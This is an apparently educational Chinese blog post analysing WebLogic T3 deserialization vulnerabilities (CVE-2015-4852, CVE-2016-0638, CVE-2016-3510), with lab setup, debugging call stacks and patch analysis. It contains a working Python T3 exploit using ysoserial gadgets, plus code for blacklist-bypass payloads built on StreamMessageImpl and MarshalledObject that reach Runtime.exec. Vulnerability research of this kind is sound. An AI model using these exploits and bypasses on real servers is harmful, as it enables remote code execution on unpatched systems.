简介 官方介绍:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。安装 : Windows下的安装教程:https://www.cnblogs.com/xrg-blog/p/12779853.html Linux下的安装教程:https://www.cnblogs.com/vhua/p/weblogic_1.html 其他 :
漏洞合集 反序列化漏洞 在weblogic中反序列化漏洞主要分为两种,一种是基于T3协议的反序列化漏洞,还一种是基于XML的反序列化漏洞
基于T3协议 前置知识 T3协议概述 :在RMI通信过程中,正常传输反序列化的数据过程中,通信使用的是JRMP协议,但是在weblogic的RMI通信过程中使用的是T3协议特点 :
服务端可以持续追踪监控客户端是否存活,即为心跳机制
通过建立一次连接可以将全部数据包传输完成
数据交换过程 :结构 : T3协议中包含请求包头和请求包体两部分 请求头: 以下面的CVE-2015-4852中的exp请求为例,第一步客户端向服务器发送请求头,得到服务端的响应,抓包分析:
1 sudo tcpdump -i ens160 port 7001 -w t3.pcap
1 2 3 4 5 6 7 8 t3 12.2 .3 AS:255 HL:19 MS:10000000
服务端的响应:
1 2 3 HELO:10.3 .6 .0 .false AS:2048 HL:19
HELO后面会返回一个weblogic版本号 请求体: 蓝色部分就是响应,下面部分就是请求体,构造的恶意类就在其中 请求头+请求体:
每个T3数据包中都包含T3协议头
数据包的前4个字节标识了数据包的长度
序列化数据的头部二进制为aced0005
长度标识后面的一个字节标识了该数据包是请求还是响应,01表示请求,02表示响应
根据T3协议的特点,在攻击的时候只需要将恶意的反序列化数据进行拼接即可,参考一张图:
CVE-2015-4852 环境搭建 : 使用QAX-A-Team的weblogic搭建环境:https://github.com/QAX-A-Team/WeblogicEnvironment 同时需要下载JDK和weblogic,并将其对应放入项目的jdk文件夹和weblogic文件夹,版本的兼容性测试在项目的README文件兼容性测试中提到,按照要求下载对应版本即可 构建docker并运行
1 2 sudo docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . sudo docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
访问http://10.140.32.159:33401/console/login/LoginForm.jsp,用户名weblogic,密码:qaxateam01 设置远程调试: 运行对应版本的sh脚本,安装远程调试并从docker中导出jar包
1 sudo ./run_weblogic1036jdk7u21.sh
在项目目录中会生成middleware文件夹,将其导出放入IDEA中并配置远程调试 新建一个IDEA项目,导入modules和wlserver,建立远程运行 测试:在weblogic/rjvm/InboundMsgAbbrev.class的readObject函数中下断点,使用weblogic漏洞扫描工具 扫描 最后能够停在断点处则表示远程调试设置成功
漏洞复现 : exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import socketimport sysimport structimport reimport subprocessimport binasciidef get_payload1 (gadget, command ): JAR_FILE = '../ysoserial-all.jar' popen = subprocess.Popen(['C:/Program Files/Java/jdk1.7.0_80/bin/java.exe' , '-jar' , JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2 (path ): with open (path, "rb" ) as f: return f.read() def exp (host, port, payload ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" .encode() sock.sendall(handshake) data = sock.recv(1024 ) pattern = re.compile (r"HELO:(.*).false" ) version = re.findall(pattern, data.decode()) if len (version) == 0 : print ("Not Weblogic" ) return print ("Weblogic {}" .format (version[0 ])) data_len = binascii.a2b_hex(b"00000000" ) t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006" ) flag = binascii.a2b_hex(b"fe010000" ) payload = data_len + t3header + flag + payload payload = struct.pack('>I' , len (payload)) + payload[4 :] sock.send(payload) if __name__ == "__main__" : host = "10.140.32.159" port = 33401 gadget = "Jdk7u21" command = "touch /tmp/CVE-2015-4852" payload = get_payload1(gadget, command) exp(host, port, payload)
执行完成后,查询是否新建CVE-2015-4852文件 命令执行成功
漏洞分析 : 在weblogic/rjvm/InboundMsgAbbrev.class的readObject函数中下断点,执行exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Object readObject (MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException { int var2 = var1.read(); switch (var2) { case 0 : return (new ServerChannelInputStream (var1)).readObject(); case 1 : return var1.readASCII(); default : throw new StreamCorruptedException ("Unknown typecode: '" + var2 + "'" ); } }
由于var2的值是0,所以会进入ServerChannelInputStream的readObject函数 这里的ServerChannelInputStream是一个内部类,实现如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream { private final ServerChannel serverChannel; private ServerChannelInputStream (MsgAbbrevInputStream var1) throws IOException { super (var1); this .serverChannel = var1.getServerChannel(); } public ServerChannel getServerChannel () { return this .serverChannel; } protected Class resolveClass (ObjectStreamClass var1) throws ClassNotFoundException, IOException { Class var2 = super .resolveClass(var1); if (var2 == null ) { throw new ClassNotFoundException ("super.resolveClass returns null." ); } else { ObjectStreamClass var3 = ObjectStreamClass.lookup(var2); if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) { throw new ClassNotFoundException ("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID()); } else { return var2; } } } }
其中在构造方法中,调用getServerChannel函数处理T3协议,获取socket相关信息 父类(即ObjectInputStream)的resolveClass方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false , latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null ) { return cl; } else { throw ex; } } }
其中通过Class.forName,根据类名来获取对应类的Class对象 函数调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 resolveClass:108 , InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm) readNonProxyDesc:1610 , ObjectInputStream (java.io) readClassDesc:1515 , ObjectInputStream (java.io) readClass:1481 , ObjectInputStream (java.io) readObject0:1331 , ObjectInputStream (java.io) defaultReadFields:1989 , ObjectInputStream (java.io) defaultReadObject:499 , ObjectInputStream (java.io) readObject:331 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:601 , Method (java.lang.reflect) invokeReadObject:1004 , ObjectStreamClass (java.io) readSerialData:1891 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) defaultReadFields:1989 , ObjectInputStream (java.io) readSerialData:1913 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readObject:308 , HashSet (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:601 , Method (java.lang.reflect) invokeReadObject:1004 , ObjectStreamClass (java.io) readSerialData:1891 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readObject:66 , InboundMsgAbbrev (weblogic.rjvm) read:38 , InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:283 , MsgAbbrevJVMConnection (weblogic.rjvm) init:213 , MsgAbbrevInputStream (weblogic.rjvm) dispatch:498 , MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:330 , MuxableSocketT3 (weblogic.rjvm.t3) dispatch:387 , BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:967 , SocketMuxer (weblogic.socket) readReadySocket:899 , SocketMuxer (weblogic.socket) processSockets:130 , PosixSocketMuxer (weblogic.socket) run:29 , SocketReaderRequest (weblogic.socket) execute:42 , SocketReaderRequest (weblogic.socket) execute:145 , ExecuteThread (weblogic.kernel) run:117 , ExecuteThread (weblogic.kernel)
接下来就是ysoserial中Jdk7u21链的部分,这里可以更改exp中的参数,使用CC链也可 这里将gadget参数更改为CommonsCollections1,使用CC1链 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 transform:125 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:157 , LazyMap (org.apache.commons.collections.map) invoke:69 , AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1 , $Proxy96 (com.sun.proxy) readObject:346 , AnnotationInvocationHandler (sun.reflect.annotation) invoke:-1 , GeneratedMethodAccessor89 (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:601 , Method (java.lang.reflect) invokeReadObject:1004 , ObjectStreamClass (java.io) readSerialData:1891 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readObject:66 , InboundMsgAbbrev (weblogic.rjvm) read:38 , InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:283 , MsgAbbrevJVMConnection (weblogic.rjvm) init:213 , MsgAbbrevInputStream (weblogic.rjvm) dispatch:498 , MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:330 , MuxableSocketT3 (weblogic.rjvm.t3) dispatch:387 , BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:967 , SocketMuxer (weblogic.socket) readReadySocket:899 , SocketMuxer (weblogic.socket) processSockets:130 , PosixSocketMuxer (weblogic.socket) run:29 , SocketReaderRequest (weblogic.socket) execute:42 , SocketReaderRequest (weblogic.socket) execute:145 , ExecuteThread (weblogic.kernel) run:117 , ExecuteThread (weblogic.kernel)
修复 : 在出现这个漏洞之后,weblogic增加了一些安全防护,防护方案主要从resolveClass入手,如图: 由上面可知,resolveClass函数的作用是从类序列化描述符获取类的Class对象,而具体的防御措施就是在这个函数中增加一个检查,检测序列化描述符是否出现在设置的黑名单中总结 : weblogic反序列化攻击流程图: 反序列化攻击时序图:参考 :WeblogicT3反序列化浅析之cve-2015-4852 Weblogic反序列化漏洞利用入门——CVE-2015-4852
CVE-2016-0638 环境搭建 : 在CVE-2015-4852环境的基础上打上补丁p20780171_1036_Generic和p22248372_1036012_Generic,命令如下:
1 2 3 4 5 6 7 8 9 10 11 12 sudo docker cp ./p20780171_1036_Generic weblogic1036jdk7u21:/p20780171_1036_Generic sudo docker cp ./p22248372_1036012_Generic weblogic1036jdk7u21:/p22248372_1036012_Generic sudo docker exec -it weblogic1036jdk7u21 /bin/bash cd /u01/app/oracle/middleware/utils/bsumkdir cache_dirvi bsu.sh 编辑MEM_ARGS参数为1024 cp /p20780171_1036_Generic/* cache_dir/./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/u01/app/oracle/middleware/wlserver/ cp /p22248372_1036012_Generic/* cache_dir/./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=ZLNA -prod_dir=/u01/app/oracle/middleware/wlserver/ –verbose
重启weblogic服务
1 /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh
有可能使用上面命令无法重启weblogic服务,可以使用stopWeblogic.sh先关闭服务,此时容器应该也会关闭,重新启动容器即可 测试补丁是否打成功,继续使用CVE-2015-4852的exp,观察是否创建文件 设置远程调试:
1 2 3 4 5 mkdir wlserver1036mkdir coherence_3.7docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
将这些包导入IDA,设置远程IP和端口,详细过程参考CVE-2015-4852远程配置补丁分析 : 分析InboundMsgAbbrev.class的resolveClass函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected Class resolveClass (ObjectStreamClass descriptor) throws ClassNotFoundException, IOException { String className = descriptor.getName(); if (className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) { throw new InvalidClassException ("Unauthorized deserialization attempt" , descriptor.getName()); } else { Class c = super .resolveClass(descriptor); if (c == null ) { throw new ClassNotFoundException ("super.resolveClass returns null." ); } else { ObjectStreamClass localDesc = ObjectStreamClass.lookup(c); if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) { throw new ClassNotFoundException ("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID()); } else { return c; } } } }
因此这里重点需要关注ClassFilter.isBlackListed函数,在CVE-2015-4852的研究中也提到,在防御过程中可以从resolveClass入手,在这两个补丁中则增加对传入的类名的判断。
继续使用CVE-2015-4852的exp进行测试,在weblogic/rjvm/InboundMsgAbbrev.class的resolveClass函数中下断点,F7单步进入来到weblogic/rmi/ClassFilter.class的isBlackListed函数,这个函数主要作用是判断传进来的类名是否在黑名单中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static boolean isBlackListed (String className) { if (className.length() > 0 && BLACK_LIST.contains(className)) { return true ; } else { String pkgName; try { pkgName = className.substring(0 , className.lastIndexOf(46 )); } catch (Exception var3) { return false ; } return pkgName.length() > 0 && BLACK_LIST.contains(pkgName); } }
其中BLACK_LIST包含的值如下: 这个HashSet的由来是在调用ClassFilter中的静态类方法前,会先执行static构造方法,将这些设定的类名存入BLACK_LIST中
1 2 3 4 5 6 7 8 9 10 11 12 static { if (!isBlackListDisabled()) { if (!isDefaultBlacklistEntriesDisabled()) { updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure" ); } updateBlackList(System.getProperty("weblogic.rmi.blacklist" , (String)null )); } }
这两个if判断应该与某个环境变量的设置有关,具体实现不再关注 在CVE-2015-4852的攻击过程中,会使用CC1链,里面用到了org .apache.commons.collections.functors.ChainedTransformer
,这个类的包名在黑名单中,因此这里会返回true,从而导致在resolveClass中抛出异常
ClassFilter.isBlackListed方法同样作用于MsgAbbrevInputStream的resolveClass方法,对其传入的类名进行了同样的黑名单过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 protected Class resolveClass (ObjectStreamClass descriptor) throws InvalidClassException, ClassNotFoundException { synchronized (this .lastCTE) { String className = descriptor.getName(); if (className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) { throw new InvalidClassException ("Unauthorized deserialization attempt" , descriptor.getName()); } ClassLoader ccl = RJVMEnvironment.getEnvironment().getContextClassLoader(); if (this .lastCTE.clz == null || this .lastCTE.ccl != ccl) { String classname = this .lastCTE.descriptor.getName(); if (this .isPreDiabloPeer()) { classname = JMXInteropHelper.getJMXInteropClassName(classname); } this .lastCTE.clz = (Class)PRIMITIVE_MAP.get(classname); if (this .lastCTE.clz == null ) { this .lastCTE.clz = Utilities.loadClass(classname, this .lastCTE.annotation, this .getCodebase(), ccl); } this .lastCTE.ccl = ccl; } this .lastClass = this .lastCTE.clz; } return this .lastClass; }
注 :MsgAbbrevInputStream用于反序列化RMI请求,将请求参数和返回结果转换为Java对象。InboundMsgAbbrev用于处理入站RMI请求,检查和验证请求的合法性,并保证请求的安全性和可靠性 补丁作用位置:
1 2 3 weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic .iiop.Utils.class
既然在ServerChannelInputStream与MsgAbbrevInputStream中都存在黑名单过滤,则
漏洞复现 : 使用工具weblogic_cmd 来绕过补丁进行攻击 使用IDEA打开,使用JDK1.6,配置运行
1 -H "10.140.32.159" -C "touch /tmp/cve-2016-0638" -B -os linux
如果端口不是7001,可以使用-P参数,也可以在源码中直接修改 运行程序,如果出现sun.tools.asm
包未找到,手动添加jdk6中的tools.jar包 在docker中查询是否命令执行成功 创建文件成功,成功绕过补丁漏洞分析 : 这里分两步进行漏洞的分析,第一:此工具如何生成payload;第二:生成的payload如何绕过防护成功执行 第一:如何生成payload 观察main函数中的代码
1 executeBlind(host, port);
进入此函数
1 2 3 4 5 6 7 8 9 10 public static void executeBlind (String host, String port) throws Exception { if (cmdLine.hasOption("B" ) && cmdLine.hasOption("C" )) { System.out.println("执行命令:" + cmdLine.getOptionValue("C" )); WebLogicOperation.blindExecute(host, port, cmdLine.getOptionValue("C" )); System.out.println("执行blind命令完成" ); System.exit(0 ); } }
这里的输出步骤正是执行一次控制台输出的信息,因此关键信息在WebLogicOperation.blindExecute中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static void blindExecute (String host, String port, String cmd) throws Exception { String[] cmds = new String []{cmd}; if (Main.cmdLine.hasOption("os" )) { if (Main.cmdLine.getOptionValue("os" ).equalsIgnoreCase("linux" )) { cmds = new String []{"/bin/bash" , "-c" , cmd}; } else { cmds = new String []{"cmd.exe" , "/c" , cmd}; } } byte [] payload = SerialDataGenerator.serialBlindDatas(cmds); T3ProtocolOperation.send(host, port, payload); }
生成payload的关键又在于SerialDataGenerator.serialBlindDatas方法
1 2 3 public static byte [] serialBlindDatas(String[] execArgs) throws Exception { return serialData(blindExecutePayloadTransformerChain(execArgs)); }
这里的命令执行参数被两层方法包裹,里面那层有关是与CC链有关,外面那层根据方法名应该是将payload的序列化后返回 先看blindExecutePayloadTransformerChain方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private static Transformer[] blindExecutePayloadTransformerChain(String[] execArgs) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String[].class}, new Object []{execArgs}), new ConstantTransformer (new HashSet ())}; return transformers; }
果然这是一条TransformerChain,再看serialData函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private static byte [] serialData(Transformer[] transformers) throws Exception { final Transformer transformerChain = new ChainedTransformer (transformers); final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); InvocationHandler handler = (InvocationHandler) Reflections .getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler" ) .newInstance(Override.class, lazyMap); final Map mapProxy = Map.class .cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(), new Class []{Map.class}, handler)); handler = (InvocationHandler) Reflections.getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler" ) .newInstance(Override.class, mapProxy); Object _handler = BypassPayloadSelector.selectBypass(handler); return Serializables.serialize(_handler); }
其实这些过程很明显是CC1链的构造过程,与众不同的是倒数第二句代码BypassPayloadSelector.selectBypass,进入该函数
1 2 3 4 5 6 7 8 9 public static Object selectBypass (Object payload) throws Exception { if (Main.TYPE.equalsIgnoreCase("marshall" )) { payload = marshalledObject(payload); } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl" )) { payload = streamMessageImpl(Serializables.serialize(payload)); } return payload; }
这里需要根据TYPE选择对应的处理方法,先看TYPE=streamMessageImpl的处理方法,他先将我们前面构造好的payload进行序列化,然后使用streamMessageImpl函数进行处理
1 2 3 4 5 6 public static Object streamMessageImpl (byte [] object) throws Exception { StreamMessageImpl streamMessage = new StreamMessageImpl (); streamMessage.setDataBuffer(object, object.length); return streamMessage; }
这里创建了一个StreamMessageImpl对象,并通过setDataBuffer方法将序列化后的数据存入该对象的buffer属性,然后返回StreamMessageImpl对象 调用链
1 2 3 4 5 6 7 8 setDataBuffer:906 , StreamMessageImpl (weblogic.jms.common) streamMessageImpl:29 , BypassPayloadSelector (com.supeream.weblogic) selectBypass:38 , BypassPayloadSelector (com.supeream.weblogic) serialData:45 , SerialDataGenerator (com.supeream.serial) serialBlindDatas:95 , SerialDataGenerator (com.supeream.serial) blindExecute:43 , WebLogicOperation (com.supeream.weblogic) executeBlind:62 , Main (com.supeream) main:198 , Main (com.supeream)
然后再回到serialData函数中,执行最后一条语句,返回对StreamMessageImpl对象序列化后的数据 最后返回blindExecute方法,执行最后一句,将payload按照T3协议发送至目标 如果在BypassPayloadSelector.selectBypass函数中,TYPE是marshall,会进入marshalledObject方法
1 2 3 4 5 6 7 8 9 private static Object marshalledObject (Object payload) { MarshalledObject marshalledObject = null ; try { marshalledObject = new MarshalledObject (payload); } catch (IOException e) { e.printStackTrace(); } return marshalledObject; }
此处将payload封装进了marshalledObject对象,MarshalledObject是Java标准库中的一个类,用于将Java对象序列化为字节数组,并能够在网络上传输或存储在磁盘上,后面步骤和上面一致,对该对象进行序列化
第二:生成的payload如何成功利用 在ServerChannelInputStream.resolveClass下断点,使用weblogic_cmd工具向目标发送payload 此时的className正是序列化的第一层,指向weblogic.jms.common.StreamMessageImpl,此类名不在黑名单中,故可以绕过isBlackListed方法
之所以采用StreamMessageImpl,是因为当StreamMessageImpl类的readExternal执行时,会反序列化传入的参数并调用该参数反序列化后对应类的这个readObject方法 在StreamMessageImpl类中的readExternal下断点 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 readExternal:1396 , StreamMessageImpl (weblogic.jms.common) readExternalData:1835 , ObjectInputStream (java.io) readOrdinaryObject:1794 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readObject:69 , InboundMsgAbbrev (weblogic.rjvm) read:41 , InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:283 , MsgAbbrevJVMConnection (weblogic.rjvm) init:215 , MsgAbbrevInputStream (weblogic.rjvm) dispatch:498 , MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:330 , MuxableSocketT3 (weblogic.rjvm.t3) dispatch:394 , BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:960 , SocketMuxer (weblogic.socket) readReadySocket:897 , SocketMuxer (weblogic.socket) processSockets:130 , PosixSocketMuxer (weblogic.socket) run:29 , SocketReaderRequest (weblogic.socket) execute:42 , SocketReaderRequest (weblogic.socket) execute:145 , ExecuteThread (weblogic.kernel) run:117 , ExecuteThread (weblogic.kernel)
该函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public void readExternal (ObjectInput var1) throws IOException, ClassNotFoundException { super .readExternal(var1); byte var2 = var1.readByte(); byte var3 = (byte )(var2 & 127 ); if (var3 >= 1 && var3 <= 3 ) { switch (var3) { case 1 : this .payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1); BufferInputStream var4 = this .payload.getInputStream(); ObjectInputStream var5 = new ObjectInputStream (var4); this .setBodyWritable(true ); this .setPropertiesWritable(true ); try { while (true ) { this .writeObject(var5.readObject()); } } catch (EOFException var9) { try { this .reset(); this .setPropertiesWritable(false ); PayloadStream var7 = this .payload.copyPayloadWithoutSharedStream(); this .payload = var7; } catch (JMSException var8) { JMSClientExceptionLogger.logStackTrace(var8); } } catch (MessageNotWriteableException var10) { JMSClientExceptionLogger.logStackTrace(var10); } catch (javax.jms.MessageFormatException var11) { JMSClientExceptionLogger.logStackTrace(var11); } catch (JMSException var12) { JMSClientExceptionLogger.logStackTrace(var12); } break ; case 3 : if ((var2 & -128 ) != 0 ) { this .readExternalCompressedMessageBody(var1); break ; } case 2 : this .payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1); } } else { throw JMSUtilities.versionIOException(var3, 1 , 3 ); } }
其中var4是正常反序列化后的数据 其buf的值和第一次payload反序列化后是一样的 然后将var4实例化成一个ObjectInputStream对象,即var5,在try中,var5调用了readObject方法,即实现了真实payload的反序列化总结 : 绕过原理:先将恶意的反序列化对象封装在StreamMessageImpl对象中,然后再对StreamMessageImpl对象进行反序列化,将生成的payload发送至目标服务器。 目标服务器拿到payload字节码后,读取到类名StreamMessageImpl,此类名不在黑名单中,故可以绕过resolveClass中的过滤。在调用StreamMessageImpl的readObject时,底层会调用其readExternal方法,对封装的序列化数据进行反序列化,从而调用恶意类的readObject函数修复 : 2016年4月p22505423_1036_Generic发布的补丁 在weblogic.jms.common.StreamMessageImpl的readExternal方法创建的ObjectInputStream换成了自定义的FilteringObjectInputStream,并在其中对类进行了过滤,使用网上的一张图
参考 :Java安全之Weblogic 2016-0638分析 - nice_0e3 - 博客园 (cnblogs.com) CVE-2016-3510:Weblogic反序列化分析 weblogic漏洞分析之CVE-2016-0638
CVE-2016-3510 漏洞分析 : 此漏洞的利用方式与CVE-2016-0638一致,只不过这里不再借助StreamMessageImpl类,而是借助MarshalledObject类 继续分析weblogic_cmd代码,结合下面代码
1 2 3 4 5 6 7 8 9 public static Object selectBypass (Object payload) throws Exception { if (Main.TYPE.equalsIgnoreCase("marshall" )) { payload = marshalledObject(payload); } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl" )) { payload = streamMessageImpl(Serializables.serialize(payload)); } return payload; }
前面提到,TYPE为streamMessageImpl时,会选择StreamMessageImpl作为绕过黑名单的类,而TYPE为marshall时,则选择MarshalledObject作为绕过黑名单的类 进入marshalledObject方法,此时传递的参数是恶意的对象
1 2 3 4 5 6 7 8 9 private static Object marshalledObject (Object payload) { MarshalledObject marshalledObject = null ; try { marshalledObject = new MarshalledObject (payload); } catch (IOException e) { e.printStackTrace(); } return marshalledObject; }
这里将第一层payload作为参数实例化一个MarshalledObject对象并返回,观察MarshalledObject类的构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public MarshalledObject (Object var1) throws IOException { if (var1 == null ) { this .hash = 13 ; } else { ByteArrayOutputStream var2 = new ByteArrayOutputStream (); MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream (var2); var3.writeObject(var1); var3.flush(); this .objBytes = var2.toByteArray(); int var4 = 0 ; for (int var5 = 0 ; var5 < this .objBytes.length; ++var5) { var4 = 31 * var4 + this .objBytes[var5]; } this .hash = var4; } }
最终恶意的payload存放在MarshalledObject对象的objBytes属性中 如何对objBytes读取并调用readObject呢? 在MarshalledObject类中存在一个方法readResolve,它能够将属性objBytes的字节流反序列化成Java对象
1 2 3 4 5 6 7 8 9 10 11 12 13 public Object readResolve () throws IOException, ClassNotFoundException, ObjectStreamException { if (this .objBytes == null ) { return null ; } else { ByteArrayInputStream var1 = new ByteArrayInputStream (this .objBytes); ObjectInputStream var2 = new ObjectInputStream (var1); Object var3 = var2.readObject(); var2.close(); return var3; } }
那么readResolve方法在什么时候调用? 继续在InboundMsgAbbrev.class的resolveClass方法和MarshalledObject的readResolve方法下断点,使用weblogic_cmd执行一次 这里的类名是MarshalledObject,不在黑名单中,故可以绕过isBlackListed方法的判断 继续执行,到下一个断点,执行到MarshalledObject的readResolve方法的调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 readResolve:56 , MarshalledObject (weblogic.corba.utils) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:601 , Method (java.lang.reflect) invokeReadResolve:1091 , ObjectStreamClass (java.io) readOrdinaryObject:1805 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readObject:69 , InboundMsgAbbrev (weblogic.rjvm) read:41 , InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:283 , MsgAbbrevJVMConnection (weblogic.rjvm) init:215 , MsgAbbrevInputStream (weblogic.rjvm) dispatch:498 , MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:330 , MuxableSocketT3 (weblogic.rjvm.t3) dispatch:394 , BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:960 , SocketMuxer (weblogic.socket) readReadySocket:897 , SocketMuxer (weblogic.socket) processSockets:130 , PosixSocketMuxer (weblogic.socket) run:29 , SocketReaderRequest (weblogic.socket) execute:42 , SocketReaderRequest (weblogic.socket) execute:145 , ExecuteThread (weblogic.kernel) run:117 , ExecuteThread (weblogic.kernel)
